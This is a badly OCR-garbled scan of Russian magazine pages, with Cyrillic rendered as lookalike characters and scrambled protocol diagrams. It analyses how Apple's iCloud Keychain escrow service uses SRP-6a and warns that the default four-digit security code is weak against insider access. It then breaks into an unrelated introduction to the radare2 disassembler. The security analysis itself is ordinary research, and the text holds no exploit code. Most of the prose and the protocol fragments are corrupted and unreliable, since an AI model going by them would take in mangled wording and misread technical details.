/srp_init

/recover

/alter_sms_target
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BeposTHO, BO3BpaLlaeT cepTndukar, accoum-
MPOBaHHbIV C Y4ETHON 3arnmncbio

[enoHypyeT HOBYIO 3anvck Ha cepeep

BosBpaluaeT cnmcok AenOHMPOBaHHbIX 3anu-
cen

BosgpatluaeT Homep TenegoHa, accounnpo-
BaHHbIW C YHETHOW 3annCbio

OTnpaBnsieT Ko, NoATBEPXKAEHUS Ha Tene-
HOHHBIN HOMEP, aCCOLMNPOBAHHBIN C y4eT-
HOW 3anncChbio

VHnupnmnpyeT ayTeHTUdUKaLMio No NpoTOKONy
RP-6a

3aBepLuaeT ayTeHTUPUKALMIO 1, B ClyYae

ycnexa, BO3BpaLlaeT paHee AeNOHMPOBAHHYIO

3anncb

[Mo3BonsetT n3ameHnTb HoMep TenedoHa,
aCCOLMNPOBAHHbIN C YYETHON 3anncCbio

Komanpgbl, nopgaepxuveaemsbie cnyxo6oii com.apple.Dataclass.KeychainSync

+ TokeH ayTeHTUdMKaumm iCloud, nonyyaemolin B 06MeH Ha Apple
ID 1 naponb npu nepBuyHo ayteHTudmkaumm B iCloud
(cTaHpapTHbLIN cnocob ayTeHTUdMKaunmn ans 6onbLIMHCTBA
cepsucog iCloud);

- kop 6e3onacHocTn iCloud (iCSC);

*  LUeCTU3HaYHbIN UMPPOBOW KOA, NepesasaeMbIi cepeepamMmm
Apple Ha Homep coToBOro TenedoHa, aCCOLMMPOBAHHbIN
C NoJsib30BaTENEM.

B Teopuu Bce BbIMMSANT XOPOLLO, HO, 4TOOLI onpeaennTb, co-
BMnazaeT NN TeOpUsi C NPaKTMKOM, Ham MoTpebyeTcs NMPoBecCTU
ayaouT nporpammbl-KaveHTa cnyxobl aenoHnposaHus. B OC iOS
1 OS X ata nporpamma HocuT Ha3BaHue com.apple.lakitu. Onu-
CaHue npoLecca ee peBePCUHra 1 ayavTa BbIXOAWT 3a paMku cTa-
TbU, NO3TOMY Cpa3y NepexoanMm K pedysbTaram.

AOCTYNHbIE KOMAHAbI
AyonTt com.apple.lakitu nosBonsetr onpenenuTb CMAMCOK
KOMaHz, peanuayembix Cnyx60i AenoHnposaHus. B cooTBeTCTBY-
owler Tabnvue npeacTaBfieHbl KoMaHabl U ux onucaHne. Ocobo
XOTenocb 6bl OCTAHOBUTLCS HA MOCNEAHEN KOMaHae — C ee no-
MOLLLbIO BO3MOXHO M3MEHWUTb HOMep TenledoHa, acCoLMNPOBaH-
HbIV C TEKYLLEN YHETHOM 3anucblo. Hannyne aTo komaHAabl aenaet
MHOrodakToOpHYI0 ayTeHTUDMKaLMIO, UCNONb3YEeMYIO MPU BOCCTa-
HoeneHun iCloud Keychain (naponb Apple ID + iCSC + ycTtpoii-
CTBO), 3aMETHO MeHee HaAEeXHON, TakK Kak NO3BONSET NCKIYUTb
OOMH 13 BpakTopoB. MIHTEPECHO 1N TO, YTO MOJIb30BATENLCKUIA UH-
Tepdeiic iOS He NO3BOSIAET BbIMOIHNTL 3Ty KOMaHAY — B HEM NpPo-
CTO HEeT Takou onumm (No KpariHen Mepe A ee He Hawuen).
Oco6eHHOCTb AaHHOM KOMaHabl, OT/iMYatoLas ee oT BCex Npo-
4yux, B TOM, YTO OHa TpebyeT ayTeHTMduMKaumm ¢ naponem Apple
ID 1 He BypeT paboTaTtb, ecnn Ans ayTeHTudmKaumm ncnonb3yeT-
cs TokeH iCloud (npoune komaHapl paboTaloT Npu ayTeHTUdbmKa-
LMW MO TOKEHY). DTO CNYXWUT AOMNOMHUTENbHOW 3aLUMTON JaHHOWM
KOMaHZbl 1 MOKa3blBaET, YTO MPOEKTUPOBLUMKMA CUCTEMbI Mpes-
NMPVIHSAW Waru s NoBbILeHNs ee 6e30nacHoOCTU. TeM He MeHee
He [0 KOHUA §ICHO, 3a4eM 3Ta kOMaHAa BOOOLLE MpuUCYyTCTBYeT
B CUCTEME.

BOCCTAHOBJIEHUE BENOHUPOBAHHbIX AAHHbIX
[na nonydyeHns 0enoHNPOBaHHbIX AaHHBIX BbIMOMHAETCS cnenyto-
LN NPOTOKON:

1. KnueHT 3anpalmBaeT CrMCOK [OEernOHMPOBAaHHbLIX 3anucen
(/get_records).

2. KnueHT 3anpaluvBaeT acCoLUMMPOBaHHbIV TeNedOHHbIN HOMEP,
Ha KOTOPLI CepBePOM ByAeT HanpaBneH KoA, MOATBEPXKAEHNS
(/get_sms_targets).

3. KnveHT MHMuMnpyeT reHepaumio 1 40CTaBKy KOAA NOATBEPXae-
Hus (/generate_sms_challenge).



4. Tocne Toro kak nonb3osarens Been iCSC v koa NoATBEPXAEHNS
13 SMS, KNMMEHT MHULMNPYET NOMbITKY ayTeHTUdUKaumm ¢ nc-
nonb3oBaHvem npotokona SRP-6a (/srp_init).

5. lNocne nonyyeHunsi OTBETA OT CEpPBEPaA KIIMEHT NPOVU3BOAUT Bbl-
yucneHus, npeanncaHHesle npotokonom SRP-6a, 1 3anpalivea-
€T AenOoHNPOBaHHbIE AaHHbIE (/recover).

6. B cnyyae ecnu KJMEHT YCMNELHO ayTeHTMdUUMPOBancs, cep-
Bep BO3BpALLAEeT AEMOHMPOBAHHbIE AAHHbIE, MPeABAPUTENBHO
3alwmdpoBaB 1x Ha Kitoye, BeipaboTaHHOM B npouecce pabo-
Tbl NpoTokona SRP-6a (ecnv npoTokon oTpaboTtan ycnewHo,
TO 1 CEPBEP, U KIIMEHT BbIYUCINAN STOT OOLLNIA KITHOY).

BaxHO OTMETUTb, 4YTO HOMep TenedoHa, MNOoJyYEeHHbIn
Ha ware 2, UCnosb3yeTcsl UCKIOYNTENbHO NS HYX[, NOSb30Ba-
TenbCckoro uHtepdeiica, To ecTb 4TOoObl MokasaTb Nosib3oBaTe-
NI0 HOMep, Ha KOTOPbI ByaeT OTNPaBieH KOA, NMOATBEPXAEHUS,
1 Ha ware 3 KIMEHT He nepenaeT cepBepy HOMEpP, Ha KOTOPbI
cnenyeT oTNpaBnsTh KO, NOATBEPXKAEHUS.

SECURE REMOTE PASSWORD

Ha ware 4 knMeHT HauyMHaeT BbiMoSNHEHMe npoTokona SRP-6a.

MpoTokon SRP (Secure Remote Password) — aTo npoTokon na-

PONbHOW ayTeHTUOUKAUUK, 3aLMLLEHHBIN OT MNPOCIyLINBaHUSA

1 man-in-the-middle atak. Takum 06pa3om, Hanpumep, Npu mc-

NoNb30BaHUM 3TOrO0 MPOTOKONA HEBO3MOXHO MepexsaTtuTb XeLl

napons U 3artem nblTaTbCsi BOCCTAHOBUTb €ro, NpPOCTO MOTOMY,

YTO HMKAKOW XeLl He nepepaeTcs.

Apple ucnonbdyeT Hanbonee COBEPLUEHHbIVI BapuaHT Npo-
ToKona, SRP-6a. OTOT BapmaHT NMpeanucbiBaeT paspbiBaTb CO-
e[IMHeHVe Npu HeyJa4Hou ayTeHTudukaumm. Kpome Toro, Apple
Nno3BOJNISAET JINWb OeCATb HeydadHbIX MOMbITOK ayTEHTI/Iq)MKaLLI/II/I
ON1S JAHHOrO CepBuca, Mocne Yero Bce nocnenyowme nonbiTky
6noKMpyloTCS.

Moppo6Hoe onncaHue npotokona SRP 1 ero maremarnyeckmx
OCHOB BbIXOOUT 3@ PaMKu CTaTbW, HO AN MONHOTbI U3NOXEHUS
Ha CKPWHLLIOTE MpeacTaBfNeH YacTHbI BapMaHT, MCMOJb3yeMblii
cnyx6oii com.apple.Dataclass.KeychainSync.

B kayecTtBe xew-dyHKUMM H ncnonb3lyetcs SHA-256, a B kaye-
ctBe rpynnbl (N, g) — 2048-6uTtHas rpynna nd RFC 5054 «Using the
Secure Remote Password (SRP) Protocol for TLS Authentication».
MpoTOKON BBINOMHAETCS CneayoLwmm 06pas3om:

1. YCTpOWCTBO reHepupyeT clyyaiiHoe 3Ha4yeHne a, BblHUCTSET
A=g”a mod N, roe N n g — napametpbl 2048-6UTHOI rpynnbl
13 RFC 5054, 1 OoTnpaBnsieT Ha cepBep CoobLLeHne, coaep-
xaulee wuaeHtTudukatop nosb3osartens ID, BbIYUCIEHHOE
3HadveHune A 1 kog, noaTeepxXaeHns n3 SMS. B kayecTse naeH-
TndukaTopa nonb3oBatenst UCMNosb3yeTcst 3HadeHne DsID —
YHUKasbHbI YACNOBOM NOEHTUdMKATOP NOSIb30BaATENS.

2. Monyu4nB coobLLeHre, cepBep reHepupyeT crydaiiHoe 3Have-
Hue b n Bblumncnset B=k*v + g~b mod N, roe k — MHOXUTEND,
onpeneneHHbii B SRP-6a kak k=H(N, g), v=g~H(Salt, iCSC)
mod N — BepudurKaTop Naposns, XPaHaLMIACs Ha cepeepe (aHa-

BoccTaHoBneHne AenoHUPOBaHHON

3anucu apple.Dataclass.KeychainSync
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Jlor xewa napons), Salt — cnyyaiHas cosfib, CreHepPUpPOBaHHas
npu co3gaHny yyeTHol 3anucu. Cepeep OTNPaBAseT KINEHTY
coobueHne, conepxatlee B n Salt.

3. TlyTem HeCnoXHbIX MaremaTnyeckmx npeobpasoBaHNii KINEeHT
1 cepBep BblMMCASIOT 0OLMIA CECCUMOHHBIN ko4 K. Ha atom
nepeasi YacTb NPOTOKoNa — BblpaboTka K/oYa — 3aBepLueHa,
1 TENEepb KJIIMEHT N CEPBEP LOJKHbI YOeauTbCsl, 4TO OHW MOJy-
YN OOHO U TO Xe 3HaveHue K.

4. KnveHT Bblumcnser M=H(H(N) XOR H(g) | H(ID) | salt | A
| B | K), mokasarenbCTso TOro, 4o OH 3HaeT K, 1 oTnpasnseT
Ha cepBep M un kop, noaTeepxaeHus n3 SMS. Cepsep Takxe Bbl-
yucnaeT M n cpaBHUBAET MNOMYYEHHOE OT KJIMEHTA N BbIYNCIEH-
HOE 3HaYeHNs; eC/IM OHU HE COBMAaAAIOT, TO CEPBEP NpekpaLlaeT
BbINOJ/IHEHNE NPOTOKOJ1A 1 Pa3pbiBAET COeOVHEHNE.

5. CepBep [0Kka3biBAET KINEHTY 3HaHME K NyTem BblYUCIEHUS 1 OT-
npaBknH(A, M, K).Tenepbobay4acTHMKa NPOTOKOA HE TOSNbKO
BbIpaboTanu OBLLMIA KNKOY, HO U YOeaMnnch, YTO 3TOT KJTHOY OAM-
HakoB y 060Mx y4acTHUKOB. B cnyvae co cnyx6oii aenoHnposa-
HUSI cepBep TakXe BO3BPALLAET CllyHaiiHbIli BEKTOP MHULIMANn3a-
umn IV 1 AenOHMPOBAHHYIO 3amnicCb, 3aluMdPOBaHHYIO Ha 00LLEM
Kntoye K ¢ ncnosib3osaHnem anroputma AES B pexxume CBC.

Ncnonb3oBaHne SRP ona OONONHUTENBHOW 3allnTbl MOJb-
30BaTebCKMX AaHHbIX, HA MOV B3NS, CYLLECTBEHHO MOBbILLIAET
6€e30MacHOCTb CUCTEMbI OT BHELLIHWNX aTak X0Ts Obl NOTOMY, 4TO Mo-
3BoNAeT 3P PEKTUBHO NPOTUBOCTOSATL NOMNbITKaM nepedopa iCSC:
3a 0AQHO MOAKIIIOYEHNE K CEPBUCY MOXHO MONpo6oBaTb TOJILKO
OAuH nNapoJib. [Mocne Heckonbkmx Heyaa4dHbIX MOMbITOK y4yeTHas
3anunck (B pamkax paboTbl CO CNy601 AenoHMPOBaHNS) NepeBo-
antes B cocTosHme soft lock 1 BpemeHHo GnokupyeTcs, a nocne
AeCATn Heyda4HbIX NMOMNbITOK y4eTHas 3anncb GHOKVIDVETCﬂ OKOH-
yaTenbHO M panbHelwaa paboTta co Cnyx060i AenoHMpoBaHUS
BO3MOXHa TOJSIbKO nocne cbpoca iCSC ans y4eTHoM 3anucu.

B 1O e Bpemsi ucnonb3oBaHne SRP HuWkak He 3alumia-
€T OT BHYTPEHHMX Yyrpo3. [lenoHMPOBaHHbIA Maposb XPaHUTCS
Ha cepsepax Apple, COOTBETCTBEHHO, MOXHO MPEAMnONOXUTb,
41O Apple MOXeT Npu HEO6XOANUMOCTIN NOJIYYNTL K HEMY AOCTYM.
B Takom cnyyae, ecnv napoJsib He Obin 3aluiLeH (Hanpumep, 3a-
WwndpoBaH) A0 AENOHNPOBAHUS, 3TO MOXET MPUBECTU K MOJHOWM
KoMnpomeTaumm 3anuceit Keychain, coxpaHeHHbix B iCloud, Tak
KaK [enoOHUPOBaHHbLIN Maposib NO3BOAUT paclumndpoBaTb K-
ym wndposaHus, a oHn — 3anuncu Keychain (o6patv BHUMaHve
Ha com.apple.Dataclass.KeyValue).

OpHako B pokymeHTe «iOS Security» Apple yTBepxaaer,
4YTO [ANS XPaHEHWs OEnOHMPOBAHHbLIX 3anuceirt MCMNoJb3YT-
Csl crneuvanua3upoBaHHble annapaTtHble mMoaynn 6e3onacHocTn
(Hardware Security Module, HSM) 1 4To OCTYn K A€NOHMPOBaH-
HbIM A@HHLIM HEBO3MOXEH.

Besonacuoc‘rbAenouuponauuﬂ
iCloud npepocTtaBnseT 3alWMLIEHHYIOD UHOPACTPYKTYPY OJs Ae-
noHuposaHus Keychain, obecneuymBalolLlylo BOCCTaHOBMEHWE

BapuaHt SRP-6a, ucnonb3ayemsiii com.

/get_records m—
<«———CNUCcoK AenoHupo 3anucent

/get_sms_targets ———————————
<«——Homep, Ha KkoTopblit 6yaeT oTnpaeneHo SMS

/generate_sms_challenge s
oK

= /srp_init [DsSID, A, KoA U3 SMS] m——p
<€—————[UUID, DsID, SALT, B]

/recover [UUID, DsID, M, Kog u3 SMS] ——
<€—[IV, AES-CBC(Ksrp, A€NOHMpOBaHHaA 3anuCb)] =

MNapameTpsl M|
H - SHA-256
N, g - 2048
k « H(N, g)

a <« random,

u « H(A, B)
X « H(SALT,
S« (B - ke
K « H(S)

poTokona: Bepupukatop napona:
SALT « random
-6uTHas rpynna u3 RFC 5054 X « H(SALT, Mapons)
Vv e g™x
g BuipaboTka Kak4a a
A « gra —1ID, A, Kop us SMS—>
SALT, B b « random, B « kv + g"b
u <« H(A, B)
Password) AN A
Ax) A (a + ux) S « (Avhu) b

K « H(S)

Mpoeepka Knw4a
M « H(H(N) ® H(g), H(ID), SALT, A, B, K)

M, Kog v3 SMS =—— | (MpekpaTuTb ecim M He BepHO)

<«— H(A, M, K)
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Keychain Tonbko aBTOPM30BaHHBLIMW MOJSIb30BATENSAMU N YCTPOM-
ctBamu. Knactepbl HSM 3awmuwialor AenoHUpPOBaHHbIE 3anmncu.
Kaxpablli knactep mmMeeT COBCTBEHHLIN KoY WNGPOBaHUS, UC-
MONb3YLWMACA 4S9 3aWUThl 3anncen.

[na BocctaHoBneHus Keychain nonb3osarenb A0XKEH ayTeH-
TMPUUMPOBATLCS, UCNONb3Yst UMS NoNb3oBaTens n napons iCloud,
1 OTBETUTb Ha NpucnaHHoe SMS. Korga aTo BbINOJIHEHO, NOML30-
BaTesib omKeH BeecTu kog 6e3onacHoctm iCloud (iCSC). Knactep
HSM npogepsieT koppekTHOoCcTb iICSC, ucnonbays npotokon SRP;
npu aTtom iICSC He nepepaeTtcs Ha cepBepbl Apple. Kaxabii ysen
Knactepa, He3aBUCUMO OT OPYrux, NMPOBEPSIET, HE NMPEBbLICUN NN
nosb3oBaTteslb MakCUMasbHO AOMYCTUMOE KOJIMYECTBO MOMbITOK
nonyyYeHns faHHbIx. Ecnn Ha GosbLueit YyacTu y310B NpoBepka 3a-
BEpLUAETCs yCMeLwHo, TO knactep paclumdpoBbIBaeT AENOHMPO-
BaHHYIO 3aMnvCb 1 BO3BPALLAET €€ Nosb30BaTesto.

[anee ycTpoiicTBO mncnosb3yet iCSC, 4Tobbl pacwmndpoBaTb
[EMNOHNPOBAHHYIO 3anNnCb U MOMYYUTb NMaposb, UCMOb30BAHHbIN
ana wunpposaHus 3anucern Keychain. MNpu noMoLum atoro napons
Keychain, nonyvenHas na Key/Value-xpanunuua, pacumdpoBbl-
BaETCSl U BOCCTAHAB/IMBAETCS HA YCTPOMCTBO. [lonyckaeTcs nvib
[EeCsATb NONbITOK ayTEHTUDMKALMM U NONYYEHUS AEMNOHNPOBAHHBIX
OaHHbIX. MNocne HecKobKNX HeyAa4HbIX MOMbITOK 3an1cb 6110KNpY-
€TCsl, U Nosb30BaTeNb AOMKEH 06PATUTLCS B CYXOY NoanepXku
nna pasénokmpoBku. Mocne oecsaTon Heyaa4yHoM NONbITKY Knactep
HSM yHu4TOXaeT AenoHUPOBaHHYO 3anucb. 9To obecneynsBaeT
3awmTy o1 6pyTdopc-atak, HanpaBEHHbIX HA MOJTyYEHNE 3anUCy.

K coxaneHuio, npoBepuTb, ncnonb3yotcs nm HSM Ha camom
nene, He NpeacTaBNseTcs BO3MOXHbIM. ECnn Bce AeCTBUTENBHO
Tak 1 HSM He no3BONSIOT NPOYUTATb XPAHSALLUMECS B HUX AAHHbIE,
TO MOXHO yTBepXaaTb, 4To AaHHble iCloud Keychain sawmiyeHsl
1 OT BHYTPEHHWX Yrpo3. Ho, MOBTOPIOCH, K COXaNneHuto, okas3aTb
WM ONPOBEPIrHYTb MCMNosib3oBaHne HSM 1 HEBO3MOXHOCTb YTe-
HUS A@HHbIX N3 HUX HENb3S1.

OcTaeTtcs eLle 0anH cnocob 3almTbl AaHHbIX OT BHYTPEHHEN
yrpo3bl — 3awmTa AenOHMPYEMbIX OAHHbIX HAa YCTPOWCTBE ne-
pen nepepayent Ha cepsepbl Apple. N3 onucanua Apple cnepyet
(M peBepcUHr 3TO NOATBEPXAAET), YTO Takas 3alimTa NpUMeEHs-
eTca — OEnOHMPYEMbI Naponb npeasaputenbHO 3awmndpoBbl-
BaeTcs npu nomowy iCSC. O4eBMOHO, 4YTO B 9TOM Cly4ae ypo-
BeHb 6€30MacHOCTY (OT BHYTPEHHEN Yrpo3bl) HANPsiMyio 3aBUCUT
OT CNOXHOCTN iICSC 1 YeTblpexcMMBOJbHLIN ICSC, ncnonb3yembili
no ymMonyaHuio, He obecrneynBaeT AOCTAaTOYHOW 3aLlUUThI.

MTak, Mbl BbISCHUAW, KaK paBoTaloT OTAE/bHbIE 9IEMEHTbI CU-
CTeMbl, 1 Tenepb Camoe BPeMS MOCMOTPETb Ha CUCTEMY LLESIKOM.

PUTTINGITALLTOGETHER

Ha cxeme npeacrtaeneHa pabota iCloud Keychain B yacTtv oenoHn-

poBaHusa 1 BOCCTaHOBNEeHMA 3anuceii Keychain. Cuctema pabora-

eT cieayoLwyM obpasom:

1. YCTpoKcTBO reHepupyeT Habop CryyariHbIX Kitoyen (B TepMUHO-
norum Apple — keybag) ans wndposaHus 3anuceii Keychain.

2. YcrtporictBo 3awmdposbiBaeT 3anucu Keychain (nvetowme
YCTaHOBNEHHbIN aTpubyT kSecAttrSynchronizable) ¢ no-
MOLLbI0 Habopa KIIIOYEN, CreHEPMPOBAHHOIO Ha NpeablayLliem
ware, U coxpaHsieT 3awuvdpoBaHHble 3anucun B Key/Value-
XpaHunue com.apple.sbd3 (kno4 com.apple.securebackup.
record).

3. YCTpPOWMCTBO reHepupyeT CryYaiHblii  Maposb, COCTOALUMIA
M3 LWECTN rpynmn no YeTblpe CMMBOJA (SHTPOMUSI Takoro Napo-
na — okono 124 6uT), 3awmndpoBbiBaeT HAGOP KIOYEN, CreHe-
PUPOBAHHbLIN Ha Wware 1, NPy NOMOLLUM 3TOr0 Napons u coxpa-
HsieT 3awmndpoBaHHbIi Habop kntoyen B Key/Value-xpaHunuiue
com.apple.sbd3 (kno4 BackupKeybag).

4. YCTponcTeo 3almdpoBbIBaET Cly4anHbI Naposb, CreHepUpo-
BaHHbIV Ha NpeablayLweM Lware, ¢ NOMOLLBIO KItoYa, NosyYeH-
Horo n3 koga 6esonacHocTu iCloud nonb3osarens, U OenoHU-
pyeT 3awmndpoBaHHbIi naponb ciyxbe com.apple.Dataclass.
KeychainSync.

Mpwu HacTpoiike iCloud Keychain nonb3oBatenb MOXeT npu-
MEHSATb CNOXHbIA nnn cnydariHeii iCSC BMecTo npeanaraeMoro
Nno YyMOJSIYaHUIO YeTblpex3HayHOro kopa. B cnyyvae mcnonb3osa-
HWS CIOXHOMO KOJAA MEXaHN3M paboTbl CUCTEMbI AEMOHUPOBAHMS
He MEHSIeTCs; OTAnYMe Wb B TOM, YTO K04 A4S LWndpPOoBaHMS
cnyyaliHoro naponst 6yAeT BblMMCNEH HE U3 YeTbIPEX3HAYHOro
iCSC, a n3 6osee CnoxHoro, BBEAEeHHOIo Nosib30BaTeNeM.

iCSC

Cny4anHbiA napos

PBKDF2
SHA-256 x 10’000

|

BL7Z-EBTJ-UBKD-X7NM-4W6D-J2N4 |—)

AES-CBC

_—
256 but

*.escrowproxy.icloud.com

AES-Wrap Keys
RFC 3394

\ A 4

Habop Kntouein

* keyvalueservice.icloud.com
3anucn Keychain

Key 1 yMa9ohCJ
Key 2 > AZESSé(;S_?A <& tzzcVhET
Key 3 sDVoCnb

Cxemanoacucremsl
AEenoHUPOBaHUS M BOC-
ctaHosneHus Keychain

Mpwn cnyyaiHOM Koge noacucTtemMa AenoHUPOBaHUS Napons
He 1cnosibdyeTcsa BooobLLe. [py 3TOM CiyvaiiHblii Naposb, CreHe-
pPUPOBaHHbIN cuctemoi, u aensetcs iICSC, n 3agada Nonb3osa-
Tens — ero 3anoMHUTb 1 6e3onacHo xpaHutb. 3anucu Keychain
BCE TaK Xe 3awmndpoBbIBAOTCSA U coxpaHsioTcs B Key/Value-
XpaHunuie com.apple.sbd3, Ho cnyxba com.apple.Dataclass.
KeychainSync He ncnonb3syetcs.

BbiBOAbI

MoXHO cmeno yTBepXxaaTb, 4TO C TEXHUHECKOWN TOYKM 3peHUs (TO
ecTb social engineering He paccmarpvBaem) M MO OTHOLLEHWUIO
K BHELHUM yrpo3am (To ecTb He Apple) 6e30nMacHOCTb CryX-
66l aenoHunposaHmns iCloud Keychain Haxogutcs Ha [ocCTaTou-
HOM ypoBHe: Gnarogapsi UCnonb30BaHMO NpoTokona SRP paxe
npu koMmnpomMeTauumn napons iCloud 310yMbILLNEHHUK HE CMOXET
nonyynTb JOCTyN K 3anucam Keychain, Tak kak ans aToro Aonon-
HUTENbHO Heobxoaum kog, 6esonacHocTu iCloud, a nepe6op aToro
KOJa CYLLIECTBEHHO 3aTPyAHEH.

B 1O Xe Bpems, wucnonb3ysa pApyroii mexaHuam iCloud
Keychain — cuHxpoHu3aumio naponem, 3n10yMbILLUIEHHUK, CKOM-
npomeTnpoBaBLLMiA naposb iCloud 1M MMeWNn HENPOAOIXM-
TeNbHbIN GU3NYECKUIA JOCTYN K OAHOMY U3 YCTPOMCTB NOJIb30Ba-
Tensi, MOXeT NOJIHOCTbIO ckoMnpomMeTupoBartsk 1 iCloud Keychain:
019 3TOr0 A0CTaTo4HO A006aBUTb YCTPOWCTBO 3/10YMbILLIEHHMKA
B «KpYr AOBEpWs» yCTPOWCTB NOJb30BaTens, a ans 3toro focra-
TOYHO 3HaTb naposib iCloud U MMETb KPaTKOBPEMEHHbI A0CTYnN
K YCTPOMCTBY NOMb30BaTens, 4To6bl NOATBEPAUTL 3aNpPOC HA A0-
6aBnieHVe HOBOrO YCTPOMCTBA K «Kpyry».

Ecnu xe paccmatpuvearh 3awmUTy OT BHYTPEHHUX YrpO3 (TO eCTb
Apple unu kT0-1M60O ¢ AOCTYNOM K cepeepamM Apple), To B 3TOM
cnyvae 6e30nacHOCTb CNyX06bl AEMOHMPOBAHNSA BbIMMAONT HEe Tak
panyxHo. YteepxaeHus Apple 06 ncnonbaosaHnm HSM n HeBo3-
MOXHOCTWU YTEHUS OAHHbIX U3 HUX HE UMEIOT HEeOMNPOBEPXMMbIX
[okasatenbCcTB, a kpunrorpaduyeckas 3almra AernoHUPYeMbIX
[aHHbIX 3aBa3aHa Ha kof 6e3onacHocTy iCloud, npu HacTporikax
NMo yMON4aHuio ABNsSieTcs kpanHe cnaboii u no3sonseTt nobomy,
KTO B COCTOSIHUM U3BJIeYb C cepBepos (unu n3 HSM) Apple aeno-
HMPOBaHHbIE 3anncu, NPaKkTU4eckn MOMEHTasIbHO BOCCTAHOBUTb
yeTblpexaHayHblin ko 6e3onacHocTu iCloud.

B cnyyae ncnonb30BaHMs CAOXHOMO andasnTHO-LMEPPOBOro
Kofa 9Ta ataka CTaHOBMUTCSI CIOXHee, Tak kak BO3pacTtaeT Koiu-
4eCTBO BO3MOXHbIX naponeit. Ecnun xe iCloud Keychain ckoHpu-
rypupoBaH MCMoJb30BaTb CAy4aliHblil KO, TO CNyx6a AenoHUpo-
BaHMs BOOOLLE He MpuB/ekaeTcs, 4To dakTM4ecku aenaer aToT
BEKTOP aTakv HEBO3MOXHbIM.

MakcrManbHbIi ypoBEHb 6€30MacHOCTY (He cunTast NMOHOro
oTkno4eHus iCloud Keychain, koHe4yHo) obecneymBaeTcs Npu nc-
NoJIb30BaHUM CyHaNHOro KOAa — 1 He CTOIbKO MOTOMY, HTO Takon
KOZ, crioxHee nogobpatb, CKOIbKO MOTOMY, YTO MpY 3TOM He 3a-
[ecTBOBaHa NoAcMcTeMa AENOHMPOBAHNS Naposein, a cnegosa-
TenbHO, ymeHbLuaeTcs u attack surface. Ho yno6¢cteo atoro Bapu-
aHTa, KOHEYHO, OCTaB/ISET XEeNaTb JyHLIero. S
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AHTOH KoukoB (xvilka), ognH
1n3 pa3paboTyMkoB 3TOro
dpenmBopka, npeacra-
BWI €ro, Kak MHe KaxeT-
Csl, BMEpBble Ha PYCCKOM
A3blke B Buae HebOonbLIOoro
noknaga Ha PHDays 2014
(bit.ly/1zlpDaY). B pokna-
[e OH nokasan npuvep
MCNONb30BaHNUS radare2
0N aHanM3a  BPedoHOC-
HbIX Nporpamm. B kauectee
aK3emMniapoB Obiv npen-
crtaBneHbl  Windows-TposiH
Shylock 1 64-6uTHbIN Linux-
BUpyc Snakso.A, Ans KoTo-
pbix Obln NPOBEAEH KaK CTa-
TUYECKUIA  aHanns,  Tak
1 oTnagka c MCrnonb30BaHu-
em pebarrepa. Bugeo po-
Knaga AoCTYNHO Ha obuum-
anbHoM carite PHDays (bit.
ly/1InvYo9d). A c npeseH-
Taumen Tbl MOXelb O3Ha-
KomMuTbCa Ha slideshare-
aKkkayHTe MeponpuaTus

(slidesha.re/1nvXsle).
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INTRO

MpoekT radare Hayan paspabarbiBaTb Xakep C HUKOM pancake
B 2006 roay, n oonroe Bpemsi, Nno cytn, oH Obin eAUHCTBEHHbIM
paspaboTumkom. Co3aaHHbIi ppenmBopk o6naaan NPOCTbIM KOH-
CONbHLIM MHTEpdeicoM Ans paboTbl Kak LUeCTHaAUaTePUYHbIN
penakTop, noaaepXusalowmini 64-6UTHYIO apxuTekTypy. dTo no-
3BOJIASIO HAXOAMTb U BOCCTAHABNMBATbL AAHHbIE C XXECTKNX AUNCKOB.
Moatomy ero elle Ha3biBaNN MHCTPYMEHTOM St KOMMbIOTEPHOW
KpUMUHanMcTnyeckor akcneptunsbl. Ho B 2010 rogy npomnsowen
«penunsanH» GpernmMBopkKa, NOCNE Yero NPOEKT CTan paspacTarbes
1 MOMOJIHATLCA HOBbIM (PYHKLMOHANOM, MO3BOSIOLMM UCMOSb-
30BaTb €ro He TOJIbKO Kak pPeaakTop, HO WM Kak au3accembnep ¢
aHanmMs3aTopom koga. Ha AaHHbI MOMEHT 3TOT GPEiMBOPK UC-
nonb3yloT 3HameHuTble CTF-kOoMaHOpl U BUPYCHbIE aHANUTUKWN
(MalwareMustDie n AlienVault), npuiem nocnegHvie npeacTasnsioT
ero Ha cBoeM BopkLone Ha Black Hat. Cnuncok Tex, KTo ncnosnb-
3yeT radare2, ¢ npumepamu npeacrasneH B 6nore npoekta (bit.
ly/1ubW5xV).

B 06Lem, GppeinmMBOPK TUXMMU LLAraMmm AOroHSIET HaLly nobu-
myto IDA. A noka paccMoTpuM ero 0co6eHHOCTU, KOTOpbIE pa3pa-
60TaHbl Ha AaHHbI MOMEHT.

HauyHeM ¢ nopnepxkn GOSbLIOrO KONMYeCcTBa apxXUTEKTYp —
ecTb gaxe ana Gameboy, BUOEO MO aHanuay nonyisipHoOn Urpbl
Pokemon pons koToporo onybnukoBan Ha kaHane YouTube (bit.
ly/1kpcn6j) oanH N3 nccneposarenei.

KntoyeBas 0cobeHHOCTb ppermBopka radare2 — ero Moay/sib-
HOCTb M BCTPavBaeMOCTb (TaK Kak HeT HMKaKux 3aBMCUMMOCTEW,
a yara u libewf onuuonansHel). [pyras nonesHas euwka — nog-
[ep>KKa MHOTMX CKPUMTOBbIX 13bIKOB. [ToMUMO nonynsipHeix Python
c Perl, koTopble nooaepxvBaloTCs B OpyrMx amsaccembnepax,
ecTb Takxe Vala, Go, Guile, Ruby, Lua (0 ero nmiocax 1 MuHycax
s nucan paHee), Java, JavaScript (Node.js n ducktape), sh n mHo-
rve apyruve.

Takxe MHOrMM npurogmTcs nopgepxka Tuno. OcobeHHO
3TO BaxHO npu aHanu3e C++ nporpamm. [locTatoyHO co3aaTb
*.h-daiin c onucaHmemM 1 NoaKIYnUTL ero. Huxe s npyeen npumep
13 opuumanbHOM JoKymMeHTaummn pperimBopka. Bot coaepxmmoe
darina c onncaHnem CTpykTypbl:

[0x00000000]> cat test.h
#define uint32_t unsigned int
typedef struct addr {

char street[127];

char city[40];

uint32_t zip;
} addr_t;

Moakntovaem dainn n nomevyaem 061acTb CO CTPYKTYPOIA:

[0x00000000]> to test.h
[0x00000000]> t1 addr 0x4000
[0x00000000]> tf Ox4000
struct addr

{

street 0x00004000 = "Wallaby Way"

city : 0x00004000 = "Sydney"

zip : Ox00004008 = 2000

}

CylecTByeT nogaepxka otnagky. MNpuyem Tbl MOXELLb NPO-
BOAVTb Kak NPsIMyto OTNAazaKy, Tak 1 1 paboTy ¢ npotokonamu gdb,
winedbg.
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1. radare2

darkair:animals dukebarman$ r2 -v

radareZ @.9.8.git @ darwin-little-x86-64 git.0.9.8-rc3-103-g4b263d8
